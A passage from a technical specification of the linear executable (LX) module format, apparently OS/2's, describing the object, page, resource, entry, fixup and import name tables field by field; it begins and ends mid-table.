           +-----+-----+-----+-----+-----+-----+-----+-----+

     VIRTUAL SIZE = DD  Virtual memory size.
         This  is  the  size  of  the  object  that  will  be
         allocated  when the object is loaded.  The  object's
         virtual  size (rounded  up to  the page  size value)
         must be  greater than or equal to the total  size of
         the  pages  in the  EXE  file  for the object.  This
         memory size must also be large enough to contain all
         of the iterated data and uninitialized  data in  the
         EXE file.

     RELOC BASE ADDR = DD Relocation Base Address.
         The relocation base  address the object is currently
         relocated to.  If the internal relocation fixups for
         the  module have been  removed, this is  the address
         the object will be allocated at by the loader.

     OBJECT FLAGS = DW  Flag bits for the object.
         The object flag bits have the following definitions.

             0001h = Readable Object.
             0002h = Writable Object.
             0004h = Executable Object.
                 The readable,  writable and executable flags
                 provide    support    for    all    possible
                 protections.  In systems where  all of these
                 protections are not  supported,  the  loader
                 will   be   responsible   for   making   the
                 appropriate protection match for the system.

             0008h = Resource Object.
             0010h = Discardable Object.
             0020h = Object is Shared.
             0040h = Object has Preload Pages.
             0080h = Object has Invalid Pages.
             0100h = Object has Zero Filled Pages.
             0200h = Object is Resident (valid for VDDs, PDDs
             only).
             0300h = Object is Resident  &  Contiguous (VDDs,
             PDDs only).
             0400h  =  Object is  Resident  & 'long-lockable'
             (VDDs, PDDs only).
             0800h = Reserved for system use.
             1000h = 16:16 Alias Required (80x86 Specific).
             2000h   =   Big/Default   Bit   Setting   (80x86
             Specific).
                 The 'big/default'  bit , for data  segments,
                 controls the setting of the Big  bit  in the
                 segment descriptor.  (The Big bit, or B-bit,
                 determines whether ESP or SP is used  as the
                 stack pointer.)  For code segments, this bit
                 controls the setting of the  Default  bit in
                 the segment descriptor.  (The  Default  bit,
                 or  D-bit, determines  whether  the  default
                 word  size  is 32-bits or 16-bits.  It  also
                 affects   the    interpretation    of    the
                 instruction stream.)

             4000h =  Object is  conforming  for  code (80x86
             Specific).
             8000h  =  Object  I/O  privilege   level  (80x86
             Specific).
                 Only used for 16:16 Alias Objects.

     PAGE TABLE INDEX = DD  Object Page Table Index.
         This specifies the number of  the first  object page
         table  entry for this object.  The object page table
         specifies where in the EXE file a page  can be found
         for   a   given   object   and   specifies  per-page
         attributes.

         The object table entries are ordered by logical page
         in the  object  table.  In  other  words  the object
         table entries  are sorted based  on  the object page
         table index value.

     #  PAGE TABLE ENTRIES  =  DD  #  of  object  page  table
     entries for this object.
         Any logical pages at the  end  of an  object that do
         not  have  an   entry   in  the  object  page  table
         associated  with them are handled as zero  filled or
         invalid pages by the loader.

         When the last  logical pages  of an  object  are not
         specified with an object page table entry,  they are
         treated as either zero filled pages or invalid pages
         based on the last entry in the object page table for
         that object.  If  the last entry was  neither a zero
         filled  or invalid  page, then the additional  pages
         are treated as zero filled pages.

     RESERVED = DD  Reserved for future use.  Must  be set to
     zero.



     Object Page Table


 The  Object  page table provides information about a logical
 page in  an object.  A  logical  page  may be  an enumerated
 page, a pseudo page or an iterated  page.  The  structure of
 the  object page table in conjunction with the  structure of
 the  object table allows for efficient access of a page when
 a page fault occurs, while  still allowing the physical page
 data to be located  in the preload page, demand load page or
 iterated data  page sections in the linear  EXE  module. The
 logical page entries  in the Object Page Table  are numbered
 starting from one.  The Object Page Table is parallel to the
 Fixup  Page Table  as  they are both indexed by the  logical
 page number.

 Each Object Page Table entry has the following format:

          63                     32 31       16 15         0
           +-----+-----+-----+-----+-----+-----+-----+-----+
       00h |    PAGE DATA OFFSET   | DATA SIZE |   FLAGS   |
           +-----+-----+-----+-----+-----+-----+-----+-----+

     PAGE DATA OFFSET = DD  Offset  to  the page  data in the
     EXE file.
         This field, when bit shifted left by the PAGE OFFSET
         SHIFT from the  module header, specifies  the offset
         from  the beginning of  the Preload Page section  of
         the  physical  page  data  in   the  EXE  file  that
         corresponds to this logical  page  entry.  The  page
         data  may  reside in the  Preload Pages, Demand Load
         Pages or the Iterated Data Pages sections.

         If  the  FLAGS  field  specifies  that  this  is   a
         zero-Filled page  then the  PAGE DATA  OFFSET  field
         will contain a 0.

         If the logical page is specified as an iterated data
         page,  as  indicated  by the FLAGS field, then  this
         field specifies the  offset into the  Iterated  Data
         Pages section.

         The logical page number  (Object Page  Table index),
         is  used  to index  the Fixup Page Table to find any
         fixups associated with the logical page.


     DATA SIZE = DW  Number of bytes of data for this page.
         This field specifies the actual number of bytes that
         represent the page in  the  file.  If  the PAGE SIZE
         field  from the  module header is greater  than  the
         value of this  field and the FLAGS field indicates a
         Legal Physical  Page,  the remaining bytes are to be
         filled with zeros.  If  the FLAGS field indicates an
         Iterated  Data Page,  the iterated data records will
         completely fill out the remainder.


     FLAGS =  DW  Attributes  specifying  characteristics  of
     this logical page.
         The bit definitions for this word field follow,

             00h = Legal Physical Page  in the module (Offset
             from Preload Page Section).
             01h  = Iterated Data Page (Offset from  Iterated
             Data Pages Section).
             02h = Invalid Page (zero).
             03h = Zero Filled Page (zero).
             04h = Range of Pages.




     Resource Table


 The resource table is  an array of  resource  table entries.
 Each resource  table entry  contains  a type ID and name ID.
 These entries  are used to locate resource objects contained
 in the Object table.  The number  of entries in the resource
 table is defined by the  Resource Table Count located in the
 linear EXE  header.  More than one resource may be contained
 within  a  single  object.  Resource table entries are in  a
 sorted  order,  (ascending,  by Resource Name ID  within the
 Resource  Type  ID).  This  allows  the  DosGetResource  API
 function to use a binary search when looking  up  a resource
 in  a 32-bit module instead of the linear  search being used
 in the current 16-bit module.

 Each resource entry has the following format:

           +-----+-----+-----+-----+
       00h |  TYPE ID  |  NAME ID  |
           +-----+-----+-----+-----+
       04h |     RESOURCE SIZE     |
           +-----+-----+-----+-----+-----+-----+
       08h |   OBJECT  |        OFFSET         |
           +-----+-----+-----+-----+-----+-----+


     TYPE ID = DW  Resource type ID.
         The type of resources are:

             BTMP = Bitmap
             EMSG = Error message string
             FONT = Fonts

     NAME ID = DW  An ID used as a name for the resource when
     referred to.

     RESOURCE SIZE =  DD  The  number of  bytes the  resource
     consists of.

     OBJECT = DW  The number of the object which contains the
     resource.

     OFFSET  = DD  The  offset  within the  specified  object
     where the resource begins.





     Resident or Non-resident Name Table Entry


 The  resident and  non-resident name tables define the ASCII
 names  and  ordinal  numbers  for  exported  entries  in the
 module.  In  addition the first  entry in the resident  name
 table contains  the  module name. These tables  are  used to
 translate a procedure name  string into an ordinal number by
 searching for a matching name string.  The ordinal number is
 used  to  locate the  entry  point information in the  entry
 table.

 The resident name  table is kept  resident  in system memory
 while the  module is loaded.  It is intended to contain  the
 exported  entry point names  that  are frequently dynamicaly
 linked to  by  name.  Non-resident  names  are  not  kept in
 memory and are read from the  EXE file when a  dynamic  link
 reference  is made.  Exported  entry  point  names  that are
 infrequently dynamicaly linked to by  name  or are  commonly
 referenced  by  ordinal  number  should  be  placed  in  the
 non-resident name  table.  The trade off made for references
 by name is performance vs memory usage.

 Import  references  by  name  require  these  tables  to  be
 searched  to  obtain the entry point ordinal number.  Import
 references  by  ordinal  number  provide the fastest  lookup
 since the search of these tables is not required.

 The strings are CASE SENSITIVE and are NOT NULL TERMINATED.

 Each name table entry has the following format:

           +-----+-----+-----+-----+     +-----+-----+-----+
       00h | LEN |    ASCII STRING  . . .      | ORDINAL # |
           +-----+-----+-----+-----+     +-----+-----+-----+


     LEN = DB  String Length.
         This  defines the length  of the string in bytes.  A
         zero length indicates there  are no more  entries in
         table.  The length of  each  ascii  name  string  is
         limited to 127 characters.

         The high bit in  the LEN field (bit 7) is defined as
         an Overload bit.  This bit signifies that additional
         information is contained in  the  linear  EXE module
         and will be  used in the  future  for parameter type
         checking.

     ASCII STRING = DB  ASCII String.
         This is a variable length string  with  it's  length
         defined  in  bytes by the LEN field.  The string  is
         case case sensitive and is not null terminated.

     ORDINAL # = DW  Ordinal number.
         The ordinal number  in  an  ordered  index  into the
         entry table for this entry point.





     Entry Table


 The entry table contains object  and offset information that
 is used to resolve fixup  references  to  the  entry  points
 within this module.  Not all entry points in the entry table
 will be exported, some entry points will only be used within
 the module.  An  ordinal number is  used to  index  into the
 entry table.  The entry table entries  are numbered starting
 from one.

 The  list  of  entries  are compressed into 'bundles', where
 possible.  The entries within  each bundle are all the  same
 size.  A bundle starts with  a  count field  which indicates
 the number of entries in the bundle.  The  count is followed
 by a  type field  which identifies the  bundle format.  This
 provides  both  a  means  for  saving  space as  well  as  a
 mechanism for extending the bundle types.

 The type field  allows  the  definition of 256 bundle types.
 The following bundle types will initially be defined:

     Unused Entry.
     16-bit Entry.
     286 Call Gate Entry.
     32-bit Entry.
     Forwarder Entry.

 The bundled entry table has the following format:

           +-----+-----+-----+-----+-----+
       00h | CNT |TYPE | BUNDLE INFO . . .
           +-----+-----+-----+-----+-----+


     CNT = DB  Number of entries.
         This is the number of entries in this bundle.

         A  zero value for  the number of entries  identifies
         the  end of the entry  table.  There  is no  further
         bundle  information when  the number  of entries  is
         zero.  In other words the entry  table is terminated
         by a single zero byte.

     TYPE = DB  Bundle type.
         This  defines the  bundle type  which determines the
         contents of the BUNDLE INFO.

             The follow types are defined:

                 00h = Unused Entry.
                 01h = 16-bit Entry.
                 02h = 286 Call Gate Entry.
                 03h = 32-bit Entry.
                 04h = Forwarder Entry.
                 80h = Parameter Typing Information Present.
                     This   bit  signifies   that  additional
                     information  is contained in the  linear
                     EXE module  and  will  be  used  in  the
                     future for parameter type checking.


     The following is the format for each bundle type:

               +-----+-----+
           00h | CNT |TYPE |
               +-----+-----+

         CNT = DB  Number of entries.
             This is the number of unused entries to skip.

         TYPE = DB  0 (Unused Entry)

               +-----+-----+-----+-----+
           00h | CNT |TYPE |   OBJECT  |
               +-----+-----+-----+-----+
           04h |FLAGS|  OFFSET   |
               +-----+-----+-----+
           07h | ... |   . . .   |
               +     +     +     +


         CNT = DB  Number of entries.
             This is the  number of 16-bit  entries  in  this
             bundle.  The flags and offset value are repeated
             this number of times.

         TYPE = DB  1 (16-bit Entry)

             OBJECT = DW  Object number.
                 This is the object number for the entries in
                 this bundle.

             FLAGS = DB  Entry flags.
                 These  are the  flags for this entry  point.
                 They have the following definition.

                     01h = Exported entry flag.
                     F8h = Parameter word count mask.

             OFFSET = DW  Offset in object.
                 This is the  offset  in the  object for  the
                 entry point defined at this ordinal number.


               +-----+-----+-----+-----+
           00h | CNT |TYPE |   OBJECT  |
               +-----+-----+-----+-----+-----+
           04h |FLAGS|  OFFSET   | CALLGATE  |
               +-----+-----+-----+-----+-----+
           09h | ... |   . . .   |   . . .   |
               +     +     +     +     +     +


         CNT = DB  Number of entries.
             This is  the number of 286  call gate entries in
             this  bundle.  The  flags,  callgate, and offset
             value are repeated this number of times.

         TYPE = DB  2 (286 Call Gate Entry)
             The 286 Call Gate Entry  Point type is needed by
             the loader only  if ring  2 segments  are to  be
             supported.  286  Call  Gate  entries  contain  2
             extra bytes  which  are  used by  the  loader to
             store an LDT callgate selector value.

         OBJECT = DW  Object number.
             This is the  object  number  for the  entries in
             this bundle.

         FLAGS = DB  Entry flags.
             These are the flags  for this entry point.  They
             have the following definition.

                 01h = Exported entry flag.
                 F8h = Parameter word count mask.

         OFFSET = DW  Offset in object.
             This is the offset in the object  for  the entry
             point defined at this ordinal number.

         CALLGATE = DW  Callgate selector.
             The callgate  selector is a  reserved field used
             by the  loader  to store a  call  gate  selector
             value for references  to  ring  2  entry points.
             When a  ring 3 reference to a ring 2 entry point
             is  made,  the  callgate  selector with  a  zero
             offset is place in the relocation fixup address.
             The  segment  number  and  offset  in segment is
             placed in the LDT callgate.


               +-----+-----+-----+-----+
           00h | CNT |TYPE |   OBJECT  |
               +-----+-----+-----+-----+-----+
           04h |FLAGS|        OFFSET         |
               +-----+-----+-----+-----+-----+
           09h | ... |         . . .         |
               +     +     +     +     +     +

         CNT = DB  Number of entries.
             This is  the  number  of  32-bit entries in this
             bundle.  The flags and offset value are repeated
             this number of times.

         TYPE = DB  3 (32-bit Entry)
             The 32-bit Entry type will  only be  defined  by
             the linker when the offset in the object can not
             be specified by a 16-bit offset.

         OBJECT = DW  Object number.
             This  is  the object  number for the  entries in
             this bundle.

         FLAGS = DB  Entry flags.
             These are the  flags for this entry point.  They
             have the following definition.

                 01h = Exported entry flag.
                 F8h = Parameter dword count mask.

         OFFSET = DD  Offset in object.
             This is  the  offset in the object for the entry
             point defined at this ordinal number.

           +-----+-----+-----+-----+
       00h | CNT |TYPE | RESERVED  |
           +-----+-----+-----+-----+-----+-----+-----+
       04h |FLAGS| MOD ORD#  | OFFSET / ORDNUM       |
           +-----+-----+-----+-----+-----+-----+-----+
       09h | ... |    ...    |          ...          |
           +     +     +     +     +     +     +     +

     CNT = DB  Number of entries.
         This  is  the number  of forwarder  entries in  this
         bundle.  The  FLAGS,  MOD  ORD#,  and  OFFSET/ORDNUM
         values are repeated this number of times.

     TYPE = DB  4 (Forwarder Entry)

     RESERVED = DW 0
         This field is reserved for future use.

     FLAGS = DB  Forwarder flags.
         These  are the flags  for  this  entry  point.  They
         have the following definition.

             01h = Import by ordinal.
             F7h = Reserved for future use; should be zero.

     MOD ORD# = DW Module Ordinal Number
         This  is the index into the Import Module Name Table
         for this forwarder.

     OFFSET  /  ORDNUM = DD Procedure  Name Offset  or Import
     Ordinal Number
         If the FLAGS field indicates import by ordinal, then
         this field  is  the  ordinal number  into  the Entry
         Table of the target module, otherwise this  field is
         the  offset  into the Procedure Names Table  of  the
         target module.

 A Forwarder entry (type  = 4) is  an entry point whose value
 is an imported  reference.  When  a load  time  fixup occurs
 whose target is a forwarder, the  loader obtains the address
 imported by the forwarder and  uses that imported address to
 resolve the fixup.

 A forwarder  may refer  to an entry point  in another module
 which  is itself a  forwarder, so there  can be a  chain  of
 forwarders.  The  loader  will traverse the chain  until  it
 finds a non-forwarded entry point which terminates the chain
 ,  and  use  this to  resolve  the original fixup.  Circular
 chains are detected by the loader  and result in a load time
 error.  A  maximum of 1024 forwarders is allowed in a chain;
 more than this results in a load time error.

 Forwarders  are useful for merging and recombining API calls
 into  different  sets   of   libraries,   while  maintaining
 compatibility with applications.  For example, if one wanted
 to  combine MONCALLS,  MOUCALLS,  and VIOCALLS into a single
 libraries, one  could  provide entry  points  for  the three
 libraries  that   are  forwarders  pointing  to  the  common
 implementation.



     Module Format Directives Table


 The Module Format Directives Table is an optional table that
 allows additional options to  be specified.  It also  allows
 for  the extension of the  linear  EXE  format  by  allowing
 additional tables  of  information to be added to the linear
 EXE  module  without affecting the format  of the linear EXE
 header.  Likewise,  module format directives provide a place
 in   the   linear  EXE  module  for  'temporary  tables'  of
 information,  such as  incremental linking  information  and
 statistic information  gathered  on the module.  When  there
 are no module format directives for a linear EXE module, the
 fields  in  the linear EXE  header  referencing  the  module
 format directives table are zero.

 Each Module  Format Directive Table entry  has the following
 format:

           +-----+-----+-----+-----+-----+-----+----+----+
       00h | DIRECT #  | DATA LEN  |     DATA OFFSET     |
           +-----+-----+-----+-----+-----+-----+----+----+

     DIRECT # = DW  Directive number.
         The directive number specifies the type of directive
         defined.  This  can be used to  determine the format
         of  the  information  in  the  directive  data.  The
         following directive numbers have been defined:

             8000h = Resident Flag Mask.
                 Directive numbers with this bit set indicate
                 that the directive data is in  the  resident
                 area and will  be kept  resident  in  memory
                 when the module is loaded.

             8001h = Verify Record Directive. (Verify  record
             is a resident table.)
             0002h = Language Information Directive. (This is
             a non-resident table.)
             0003h = Co-Processor Required Support Table.
             0004h = Thread State Initialization Directive.

         Additional directives can be  added as needed in the
         future, as long as  they  do  not overlap previously
         defined directive numbers.

     DATA LEN = DW  Directive data length.
         This specifies the length in  byte of  the directive
         data for this directive number.

     DIRECTIVE OFFSET = DD  Directive data offset.
         This  is the offset to  the directive data for  this
         directive number.  It  is  relative to beginning  of
         linear EXE header for a resident table, and relative
         to  the  beginning of the EXE  file for non-resident
         tables.





     Verify Record Directive Table


 The Verify Record Directive Table  is an optional table.  It
 maintains a record  of  the pages in  the EXE file that have
 been  fixed up  and written back to the  original linear EXE
 module, along with the  module  dependencies used to perform
 these fixups.  This table  provides  an  efficient means for
 verifying the  virtual  addresses  required for the fixed up
 pages when the module is loaded.

 Each Verify Record entry has the following format:

           +-----+-----+
       00h |# OF ENTRY |
           +-----+-----+-----+-----+-----+-----+
       02h | MOD ORD # |  VERSION  | MOD # OBJ |
           +-----+-----+-----+-----+-----+-----+
       08h | OBJECT #  | BASE ADDR |  VIRTUAL  |
           +-----+-----+-----+-----+-----+-----+
       0Eh |   . . .   |   . . .   |   . . .   |
           +     +     +     +     +     +     +

     # OF ENTRY = DW  Number of module dependencies.
         This field specifies how many  entries there  are in
         the verify record directive table.  This is equal to
         the number of modules referenced by this module.

     MOD  ORD # = DW  Ordinal index  into  the  Import Module
     Name Table.
         This value is an ordered  index  in  to  the  Import
         Module Name Table for the referenced module.

     VERSION = DW  Module Version.

         This  is the version of  the  referenced module that
         the fixups  were originally performed.  This is used
         to insure the same version  of the referenced module
         is  loaded  that  was  fixed up  in this module  and
         therefore   the   fixups  are  still  correct.  This
         requires  the  version number  in  a  module  to  be
         incremented anytime the entry point offsets change.

     MOD # OBJ = DW  Module # of Object Entries.
         This field is used to  identify the number of object
         verify  entries  that   follow  for  the  referenced
         module.

     OBJECT # = DW  Object # in Module.
         This  field  specifies  the  object  number  in  the
         referenced module that is being verified.

     BASE ADDR = DW  Object load base address.
         This is  the  address that the object was  loaded at
         when the fixups were performed.

     VIRTUAL = DW  Object virtual address size.
         This field specifies the  total  amount  of  virtual
         memory required for this object.





     Per-Page Checksum


 The  Per-Page   Checksum   table   provides   space   for  a
 cryptographic  checksum for each  physical  page  in the EXE
 file.

 The checksum table is arranged such that the first entry  in
 the table corresponds to the first logical page of code/data
 in the EXE file (usually a preload page) and the  last entry
 corresponds to  the  last  logical  page  in  the  EXE  file
 (usually a iterated data page).

                     +-----+-----+-----+-----+
    Logical Page #1  |        CHECKSUM       |
                     +-----+-----+-----+-----+
    Logical Page #2  |        CHECKSUM       |
                     +-----+-----+-----+-----+
                               . . .

                     +-----+-----+-----+-----+
    Logical Page #n  |        CHECKSUM       |
                     +-----+-----+-----+-----+


     CHECKSUM = DD  Cryptographic checksum.





     Fixup Page Table


 The Fixup Page Table provides a simple  mapping of a logical
 page number to an  offset  into  the Fixup Record  Table for
 that page.

 This table is parallel to the Object Page Table, except that
 there is one  additional entry in this table to indicate the
 end of the Fixup Record Table.

 The format of each entry is:

                   +-----+-----+-----+-----+
  Logical Page #1  |  OFFSET FOR PAGE #1   |
                   +-----+-----+-----+-----+
  Logical Page #2  |  OFFSET FOR PAGE #2   |
                   +-----+-----+-----+-----+
                             . . .
                   +-----+-----+-----+-----+
  Logical Page #n  |  OFFSET FOR PAGE #n   |
                   +-----+-----+-----+-----+
                   |OFF TO END OF FIXUP REC|   This is equal to:
                   +-----+-----+-----+-----+   Offset for page #n + Size
                                               of fixups for page #n


     OFFSET FOR PAGE # = DD  Offset for fixup record for this
     page.
         This  field specifies the offset, from the beginning
         of the fixup record table, to the first fixup record
         for this page.

     OFF TO  END  OF FIXUP REC = DD  Offset to the end of the
     fixup records.
         This field specifies  the offset  following the last
         fixup record in the fixup record table.  This is the
         last entry in the fixup page table.

         The fixup records are kept in order by logical  page
         in the fixup record table.  This  allows the end  of
         each page's fixup records  is defined by  the offset
         for  the  next logical  page's fixup  records.  This
         last  entry provides  support of this mechanism  for
         the last page in the fixup page table.





     Fixup Record Table


 The  Fixup  Record Table contains entries  for all fixups in
 the linear EXE module.  The fixup records for a logical page
 are  grouped together and kept  in  sorted order by  logical
 page number.  The  fixups for  each page are  further sorted
 such that all external fixups  and internal selector/pointer
 fixups come before internal non-selector/non-pointer fixups.
 This allows  the  loader  to  ignore internal fixups  if the
 loader  is  able  to  load  all  objects  at  the  addresses
 specified in the object table.

 Each relocation record has the following format:

           +-----+-----+-----+-----+
       00h | SRC |FLAGS|SRCOFF/CNT*|
           +-----+-----+-----+-----+-----+-----+
   03h/04h |           TARGET DATA *           |
           +-----+-----+-----+-----+-----+-----+
           | SRCOFF1 @ |   . . .   | SRCOFFn @ |
           +-----+-----+----   ----+-----+-----+

         * These fields are variable size.
         @ These fields are optional.


     SRC = DB  Source type.
         The source type specifies the  size  and type of the
         fixup to  be  performed  on  the  fixup source.  The
         source type is defined as follows:

             0Fh = Source mask.
             00h = Byte fixup (8-bits).
             01h = (undefined).
             02h = 16-bit Selector fixup (16-bits).
             03h = 16:16 Pointer fixup (32-bits).
             04h = (undefined).
             05h = 16-bit Offset fixup (16-bits).
             06h = 16:32 Pointer fixup (48-bits).
             07h = 32-bit Offset fixup (32-bits).
             08h   =   32-bit  Self-relative   offset   fixup
             (32-bits).
             10h = Fixup to Alias Flag.
                 When the 'Fixup to Alias' Flag is  set,  the
                 source fixup refers to  the 16:16  alias for
                 the  object.  This is only  valid for source
                 types  of 2, 3, and 6.  For  fixups such  as
                 this, the linker and loader will be required
                 to   perform   additional   checks  such  as
                 ensuring that the  target  offset  for  this
                 fixup is less than 64K.

             20h = Source List Flag.

                 When  the  'Source  List'  Flag is set,  the
                 SRCOFF field  is compressed  to  a byte  and
                 contains the number of source offsets, and a
                 list  of source  offsets  follows the end of
                 fixup  record (after  the  optional additive
                 value).

     FLAGS = DB  Target Flags.
         The target flags specify how the target  information
         is interpreted.  The  target flags  are  defined  as
         follows:

             03h = Fixup target type mask.
             00h = Internal reference.
             01h = Imported reference by ordinal.
             02h = Imported reference by name.
             03h = Internal reference via entry table.
             04h = Additive Fixup Flag.
                 When set, an additive value trails the fixup
                 record (before the  optional  source  offset
                 list).

             08h = Reserved.  Must be zero.
             10h = 32-bit Target Offset Flag.
                 When  set, the  target  offset  is  32-bits,
                 otherwise it is 16-bits.

             20h = 32-bit Additive Fixup Flag.
                 When set,  the  additive value  is  32-bits,
                 otherwise it is 16-bits.

             40h = 16-bit Object Number/Module Ordinal Flag.
                 When  set,  the   object  number  or  module
                 ordinal number  is 16-bits, otherwise  it is
                 8-bits.

             80h = 8-bit Ordinal Flag.
                 When  set,  the  ordinal number  is  8-bits,
                 otherwise it is 16-bits.

     SRCOFF =  DW/CNT  = DB  Source  offset  or source offset
     list count.
         This field contains  either  an  offset  or  a count
         depending on the  Source  List Flag.  If the  Source
         List Flag is  set,  a list of source offsets follows
         the additive field and this field contains the count
         of  the  entries   in   the   source   offset  list.
         Otherwise, this is the single source offset for  the
         fixup.  Source offsets are relative to the beginning
         of the page where the fixup is to be made.

         Note that for fixups that  cross page  boundaries, a
         separate  fixup  record is  specified for each page.
         An offset is still used for the 2nd  page but it now
         becomes a negative offset since the fixup originated
         on  the  preceding page.  (For  example, if only the
         last one byte of a 32-bit address is on the page  to
         be fixed up, then the offset would  have  a value of
         -3.)

     TARGET DATA = Target data for fixup.
         The  format of the  TARGET  DATA  is  dependent upon
         target flags.

     SRCOFF1 - SRCOFFn = DW[]  Source offset list.
         This list is present if the  Source List Flag is set
         in the Target Flags field.  The number of entries in
         the  source offset list is defined in the SRCOFF/CNT
         field.  The  source  offsets  are  relative  to  the
         beginning of the  page where  the fixups are  to  be
         made.

               +-----+-----+-----+-----+
           00h | SRC |FLAGS|SRCOFF/CNT*|
               +-----+-----+-----+-----+-----+-----+
       03h/04h |  OBJECT * |        TRGOFF * @     |
               +-----+-----+-----+-----+-----+-----+
               | SRCOFF1 @ |   . . .   | SRCOFFn @ |
               +-----+-----+----   ----+-----+-----+

             * These fields are variable size.
             @ These fields are optional.


         OBJECT = D[B|W]  Target object number.
             This field is an index into the current module's
             Object Table to  specify  the target Object.  It
             is  a  Byte  value  when   the   '16-bit  Object
             Number/Module Ordinal  Flag' bit  in  the target
             flags field is clear and  a Word  value when the
             bit is set.


         TRGOFF = D[W|D]  Target offset.
             This  field  is  an  offset  into  the specified
             target  Object.  It  is  not  present  when  the
             Source Type  specifies a  16-bit Selector fixup.
             It  is  a  Word value when  the  '32-bit  Target
             Offset Flag'  bit  in the target flags field  is
             clear and a Dword value when the bit is set.

               +-----+-----+-----+-----+
           00h | SRC |FLAGS|SRCOFF/CNT*|
               +-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
       03h/04h | MOD ORD# *| PROCEDURE NAME OFFSET*|     ADDITIVE * @      |
               +-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
               | SRCOFF1 @ |   . . .   | SRCOFFn @ |
               +-----+-----+----   ----+-----+-----+

             * These fields are variable size.
             @ These fields are optional.


         MOD ORD # =  D[B|W]  Ordinal  index into the  Import
         Module Name Table.
             This value  is an ordered index in to the Import
             Module Name Table  for the module containing the
             procedure entry point.  It is a Byte value  when
             the '16-bit  Object Number/Module  Ordinal' Flag
             bit  in the target flags  field is  clear  and a
             Word  value  when  the  bit  is set.  The loader
             creates a table of pointers with each pointer in
             the  table  corresponds to the  modules named in
             the  Import  Module Name Table.  This  value  is
             used  by  the loader  to  index into  this table
             created by the  loader  to locate the referenced
             module.

         PROCEDURE NAME  OFFSET  =  D[W|D]  Offset  into  the
         Import Procedure Name Table.
             This   field   is  an  offset  into  the  Import
             Procedure Name Table.  It  is a Word  value when
             the  '32-bit  Target Offset  Flag'  bit  in  the
             target flags field  is clear and  a Dword  value
             when the bit is set.

         ADDITIVE = D[W|D]  Additive fixup value.
             This field exists in the fixup  record only when
             the 'Additive  Fixup  Flag'  bit  in  the target
             flags field is set.  When  the  'Additive  Fixup
             Flag' is clear the fixup record does not contain
             this  field  and is immediately followed by  the
             next fixup record (or  by the source offset list
             for this fixup record).

             This value is added to the address  derived from
             the  target entry point.  This field  is  a Word
             value when the '32-bit Additive Flag' bit in the
             target flags field is  clear  and a  Dword value
             when the bit is set.

               +-----+-----+-----+-----+
           00h | SRC |FLAGS|SRCOFF/CNT*|
               +-----+-----+-----+-----+-----+-----+-----+-----+
       03h/04h | MOD ORD# *|IMPORT ORD*|     ADDITIVE * @      |
               +-----+-----+-----+-----+-----+-----+-----+-----+
               | SRCOFF1 @ |   . . .   | SRCOFFn @ |
               +-----+-----+----   ----+-----+-----+

             * These fields are variable size.
             @ These fields are optional.


         MOD ORD  # = D[B|W]  Ordinal index  into  the Import
         Module Name Table.
             This value is an ordered index  in to the Import
             Module  Name Table for the module containing the
             procedure  entry point.  It is a Byte value when
             the '16-bit Object Number/Module  Ordinal'  Flag
             bit in the target flags  field is  clear  and  a
             Word  value  when  the  bit  is set.  The loader
             creates a table of pointers with each pointer in
             the table  corresponds  to the  modules named in
             the  Import Module  Name Table.  This  value  is
             used by the loader  to  index  into  this  table
             created  by the loader to locate the  referenced
             module.

         IMPORT ORD = D[B|W|D]  Imported ordinal number.
             This is the imported procedure's ordinal number.
             It is a Byte value when  the '8-bit Ordinal' bit
             in the target flags  field is set.  Otherwise it
             is  a Word value when the '32-bit Target  Offset
             Flag' bit in the target flags field is clear and
             a Dword value when the bit is set.

         ADDITIVE = D[W|D]  Additive fixup value.
             This field exists in the fixup  record only when
             the  'Additive Fixup Flag'  bit  in  the  target
             flags field is set.  When  the  'Additive  Fixup
             Flag' is clear the fixup record does not contain
             this field  and  is  immediately followed by the
             next fixup record (or  by the source offset list
             for this fixup record).

             This value is  added to the address derived from
             the  target entry point.  This field is  a  Word
             value when the '32-bit Additive Flag' bit in the
             target flags field  is  clear and a Dword  value
             when the bit is set.

               +-----+-----+-----+-----+
           00h | SRC |FLAGS|SRCOFF/CNT*|
               +-----+-----+-----+-----+-----+-----+
       03h/04h |  ORD # *  |     ADDITIVE * @      |
               +-----+-----+-----+-----+-----+-----+
               | SRCOFF1 @ |   . . .   | SRCOFFn @ |
               +-----+-----+----   ----+-----+-----+

             * These fields are variable size.
             @ These fields are optional.

         ENTRY #  =  D[B|W]  Ordinal  index  into  the  Entry
         Table.
             This field is an index into the current module's
             Entry  Table  to  specify the target Object  and
             offset.  It  is a Byte  value when  the  '16-bit
             Object Number/Module  Ordinal' Flag bit  in  the
             target flags field is  clear  and  a  Word value
             when the bit is set.

         ADDITIVE = D[W|D]  Additive fixup value.
             This field exists in the  fixup record only when
             the  'Additive Fixup  Flag'  bit  in the  target
             flags  field is set.  When the  'Additive  Fixup
             Flag' is clear the fixup record does not contain
             this  field and is  immediately followed  by the
             next fixup record (or by the source  offset list
             for this fixup record).

             This value  is added to the address derived from
             the  target  entry point.  This field is a  Word
             value when the '32-bit Additive Flag' bit in the
             target  flags  field  is clear and a Dword value
             when the bit is set.





  Import Module Name Table


 The import module name table defines the module name strings
 imported through dynamic link references.  These strings are
 referenced through the imported relocation fixups.

 To determine the  length  of the  import  module  name table
 subtract the import module name table offset from the import
 procedure  name  table offset.  These values are located  in
 the  linear EXE header.  The end  of the import module  name
 table  is  not  terminated by  a special  character,  it  is
 followed directly by the import procedure name table.

 The strings are CASE SENSITIVE and NOT NULL TERMINATED.

 Each name table entry has the following format:

           +-----+-----+-----+-----+     +-----+
       00h | LEN |    ASCII STRING  . . .      |
           +-----+-----+-----+-----+     +-----+

     LEN = DB  String Length.
         This defines the length of the string in bytes.  The
         length of each ascii name string is  limited  to 127
         characters.

     ASCII STRING = DB  ASCII String.
         This is a  variable  length string with it's  length
         defined in bytes by the  LEN  field.  The  string is
         case sensitive and is not null terminated.





     Import Procedure Name Table


 The import procedure name table defines  the  procedure name
 strings  imported  by  this  module   through  dynamic  link
 references.   These   strings  are  referenced  through  the
 imported relocation fixups.

 To determine the length  of the import procedure  name table
 add the fixup section size  to the  fixup page table offset,
 this computes the  offset to  the end of the  fixup section,
 then subtract the import procedure name table offset.  These
 values are located  in  the linear  EXE header.  The  import
 procedure name table is followed by the data pages  section.
 Since the  data pages  section is aligned  on a 'page  size'
 boundary, padded space  may  exist  between the  last import
 name  string  and the first page in  the data pages section.
 If this padded space exists it will be zero filled.

 The strings are CASE SENSITIVE and NOT NULL TERMINATED.

 Each name table entry has the following format:

           +-----+-----+-----+-----+     +-----+
       00h | LEN |    ASCII STRING  . . .      |
